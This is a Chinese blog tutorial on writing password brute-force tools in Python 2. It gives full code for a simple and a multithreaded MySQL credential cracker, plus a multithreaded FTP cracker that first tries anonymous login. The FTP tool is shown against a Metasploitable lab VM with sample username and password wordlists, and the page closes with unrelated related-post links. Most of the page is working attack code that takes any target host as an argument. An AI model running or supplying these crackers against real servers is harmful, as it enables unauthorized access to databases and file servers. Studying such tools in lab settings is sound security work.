Python开发爆破工具
上一篇讲到了如何用Python开发字典,而当我们手里有了字典
就可以进一步去做爆破的任务了,可以用现成的工具,当然也可以自己写
接下来我就要一步一步来写爆破工具!
爆破MySQL:
想要爆破MySQL目标至少要允许远程连接
我这里没有开启远程连接,只是爆破本地的MySQL
实际上,如果掌握了如何爆破本地MySQL,那么想要远程爆破MySQL也是很轻松的
最基本的实现:
# -*-coding:utf-8 -*-
import pymysql mysql_username = ('root', 'test', 'admin', 'user')
mysql_password = ('', '', 'test', 'root', 'admin', 'xuyiqing', 'user') success = False
host = "127.0.0.1"
port = 3306 for username in mysql_username:
for password in mysql_password:
try:
db = pymysql.connect(host, username, password)
success = True
if success:
print "用户名:" + username + " 密码:" + password + " 破解成功"
except Exception, e:
print "用户名:" + username + " 密码:" + password + " 破解失败"
pass
固定好哪些用户名和哪些密码,以及爆破的IP和端口,直接执行即可
进阶的MySQL爆破脚本:写的很完整,支持多线程
# -*-coding:utf-8 -*-
"""
MySQL爆破脚本
用法:
python MysqlCrack2.py -H [目标IP] --u [用户字典] --p [密码字典] -P [端口]
"""
import re
import socket
import optparse
import threading try:
import pymysql
except ImportError:
print "[!] You need to install pymysql module!"
print "[!] Usage:pip install pymysql"
exit() result_user = None
result_pass = None
threads = [] def main():
"""
处理输入参数
:return:None
"""
print "Welcome to MysqlCrack2"
print "Author: Xuyiqing Version:1.0"
parse = optparse.OptionParser(
'python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
parse.add_option('-H', dest="target_host", type="string", help='specify the host')
parse.add_option('--u', dest='user_dic', type='string', help='specify the dictionary for user')
parse.add_option('--p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
parse.add_option('-P', dest='port', type='int', help='specify the port')
(options, args) = parse.parse_args()
target_host = options.target_host
user_dic = options.user_dic
pwd_dic = options.pwd_dic
port = options.port
if target_host is not None and re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', target_host):
mysql_brute(target_host, user_dic, pwd_dic, port)
else:
print "[!] Unknown IP\n"
exit() def mysql_brute(host, user_dic, pwd_dic, port):
"""
MySQL暴力破解
:param host: 主机
:param user_dic: 用户字典
:param pwd_dic: 密码字典
:param port: 端口
:return: None
"""
print "[*] Target:" + host
print "[*] Start cracking"
userlist = None
pwdlist = None
try:
socket.gethostbyname(host)
except Exception:
print '[*] Cannot connect to %s' % host
exit()
try:
userlist = [i.strip('\n') for i in open(user_dic, 'r').readlines()]
pwdlist = [j.strip('\n') for j in open(pwd_dic, 'r').readlines()]
print "[*] Number of users:" + str(len(userlist))
print "[*] Number of passwords:" + str(len(pwdlist))
except Exception:
print "[!] The path of the dictionary file is incorrect"
exit()
global threads
for user in userlist:
for pwd in pwdlist:
t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
t.start()
threads.append(t) def mysql_login(host, username, password, port):
"""
MySQL连接
:param host:主机
:param username:用户名
:param password: 密码
:param port: 端口
:return: None
"""
try:
db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
print "[+] Success! User:" + username + " Password:" + password + "\n"
global result_user, result_pass
result_user = username
result_pass = password
db.close()
exit()
except Exception:
print "[-] Fail! User:" + username + " Password:" + password + "\n" if __name__ == '__main__':
main()
for thread in threads:
thread.join()
if result_user is not None and result_pass is not None:
print "[+] Result: %s - %s" % (result_user, result_pass)
if result_user is None and result_pass is None:
print "[+] Crack Fail"
FTP破解工具开发:
实际去安装一些FTP软件比较困难,我这里就用Metasploitable Linux
启动后默认开启FTP服务,我这里的IP是192.168.232.129
Metaploitable Linux的FTP可以匿名登陆,并且已知一个账号密码为:msfadmin-msfadmin
# -*-coding:utf-8 -*-
import optparse
import ftplib
import threading
import socket def anony_login(host):
"""
FTP匿名登陆
:param host:主机
:return: None
"""
try:
ftp = ftplib.FTP(host)
ftp.connect(host, 21, timeout=10)
ftp.login('anonymous', 'test@qq.com')
ftp.retrlines('LIST')
ftp.quit()
print "\n[*]" + str(host) + " FTP Anonymous Login Success"
except Exception:
print "\n[-]" + str(host) + " FTP Anonymous Login Fail" def ftp_login(host, username, password):
"""
尝试用户密码登陆FTP
:param host:主机
:param username:用户名
:param password:密码
:return:None
"""
try:
print "[-] Trying: " + username + "-" + password + "\n"
ftp = ftplib.FTP(host)
ftp.connect(host, 21, timeout=10)
ftp.login(username, password)
ftp.retrlines("LIST")
ftp.quit()
print "Success! " + username + " - " + password
except ftplib.all_errors:
pass def brute_force(host, users_file, pwds_file):
"""
暴力破解
:param host: 主机
:param users_file:用户字典
:param pwds_file: 密码字典
:return: None
"""
users_f = open(users_file, 'r')
pwds_f = open(pwds_file, 'r')
for user in users_f.readlines():
pwds_f.seek(0)
for password in pwds_f.readlines():
username = user.strip('\n')
password = password.strip('\n')
t = threading.Thread(target=ftp_login, args=(host, username, password))
t.start() def main():
"""
主函数,处理输入参数
:return:None
"""
parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>')
parser.add_option('-H', dest='target_host', type='string', help='specify the host')
parser.add_option('-u', dest='user_dic', type='string', help='specify the dictionary for user')
parser.add_option('-p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
(options, args) = parser.parse_args()
host = options.target_host
user_dic = options.user_dic
pwd_dic = options.pwd_dic
try:
socket.gethostbyname(host)
except Exception:
print '[*] Cannot Resolve %s Unknown host' % host
exit()
anony_login(host)
brute_force(host, user_dic, pwd_dic) if __name__ == '__main__':
main()
使用的话,需要两个字典:用户字典和密码字典,我随便加入一些东西
username.txt
root
user
admin
msfadmin
manager
password.txt
pwd
password
userpass
msfadmin
manager
123456
实际使用:-H 输入IP -u 用户名字典 -p 密码字典
结果:上边已经找到匿名登陆,还有下图的msfadmin,说明破解成功了
Python开发爆破工具的更多相关文章
- Python开发爆破字典
这里只是分享一下Python如何生成爆破字典 关于爆破工具编写我会在下一篇提到 其实有了爆破字典的话,直接使用Burp,Hydra等一些工具就可以做爆破了! Burp的使用在我以前的博客中有写过,至于 ...
- Python开发GUI工具介绍,实战:将图片转化为素描画!【华为云技术分享】
版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/devcloud/article/detai ...
- Python开发GUI工具介绍,实战:将图片转化为素描画!
欢迎添加华为云小助手微信(微信号:HWCloud002 或 HWCloud003),输入关键字"加群",加入华为云线上技术讨论群:输入关键字"最新活动",获取华 ...
- pipenv 方便的python 开发工作流工具
pipenv 将 composer.bundler.npm.yarn.cargo 等比较方便的包管理工具添加到了python 语言中,可以 帮助我们自动的管理virtualenv ,同时可以方便的从p ...
- python 后台爆破工具(多线程)
非阻塞 q.put(item) 写入队列,timeout等待时间 q.put_nowait(item) 相当q.put(item, False) threads多线程 首先导入threadin ...
- python 后台爆破工具
sys:使用sys模块获得脚本的参数 queue模块,创建一个“队列”对象 time 模块 Python time time() 返回当前时间的时间戳(1970纪元后经过的浮点秒数). fin ...
- Python开发专业工具推荐
PyCharm,jetbrains公司出品,必是精品!! 版本:2016.3.1 下载:https://www.jetbrains.com/pycharm/download/#section=wind ...
- Python开发GUI实战:图片转换素描画工具!
奋斗没有终点 好好学习72变,因为将来 没有人能替你阻挡81难 . 生如蝼蚁,当有鸿鹄之志: 命如纸薄,应有不屈之心 . 今天被这句话触动了,所以开篇分享给大家.鸡汤有毒,但有时大家却靠它激励自己 ...
- 路飞学城-Python开发-第一章
# 基础需求: # 让用户输入用户名密码 # 认证成功后显示欢迎信息 # 输错三次后退出程序 username = 'pandaboy' password = ' def Login(username ...
随机推荐
- Quartz.Net进阶之五:TriggerListener 、JobListener 和 SchedulerListener
一.介绍 今天开始学习监听器,就是 Listener,在Quartz.Net 中,主要包含3类的监听器,主要内容包括:TriggerListener .JobListener 和 SchedulerL ...
- oracle redo日志文件损坏恢复
参考:How to Recover from Loss Of Online Redo Log And ORA-312 And ORA-313 (Doc ID 117481.1) 在线重做日志文件丢失后 ...
- Servlet获取 URL 地址
使用 ServletRequest 的如下方法 getContextPath 取得项目名 getServletPath 取得Servlet名 getPathInfo 取得Servlet后的URL名,不 ...
- Mac更改PHP默认目录
在Mac上搭建了PHP服务器以后,默认的路径为/Library/WebServer/Documents下面,但这让人很不爽,我想修改到自己定义的路径下.经过好一番折腾,终于成功了. PHPEclips ...
- vue,react,angular
一.Vue.js: 其实Vue.js不是一个框架,因为它只聚焦视图层,是一个构建数据驱动的Web界面的库. Vue.js通过简单的API(应用程序编程接口)提供高效的数据绑定和灵活的组 ...
- Vscode调试C的多文件工程配置
关于Vscode的C语言的单文件调试,可以参见VScode调试C语言的设置(win10,Linux),里面已经说明基本的配置和使用. 下面说明一下如何调试多个文件的工程,首先写一个简单的工程,其中工程 ...
- C语言在宏定义中使用语句表达式和预处理器运算符
语句表达式的亮点在于定义复杂功能的宏.使用语句表达式来定义宏,不仅可以实现复杂的功能,而且还能避免宏定义带来的歧义和漏洞.下面以一个简单的最小值的宏为例子一步步说明. 1.灰常简单的么,使用条件运算符 ...
- MongoDB的数据备份与恢复
一:数据备份操作 步骤: 1.以管理员身份打开cmd,然后打开到mongdb的bin文件夹 2.输入命令 mongodump -h dbhost -d dbname -o dbdirectory -h ...
- 解决sqlserver数据库表空间不自动释放问题
在项目中遇到了sql server数据库经过频繁地删减数据后,查询变慢的问题. 我把数据导到另一个库中,发现查询就很快. 查了下原因,根本原因是删除数据并不释放表空间,日志文件太过巨大的原因. 网上查 ...
- HDU - 1241 Oil Deposits 经典dfs 格子
最水的一道石油竟然改了一个小时,好菜好菜. x<=r y<=c x<=r y<=c x<=r y<=c x<=r y<=c #include ...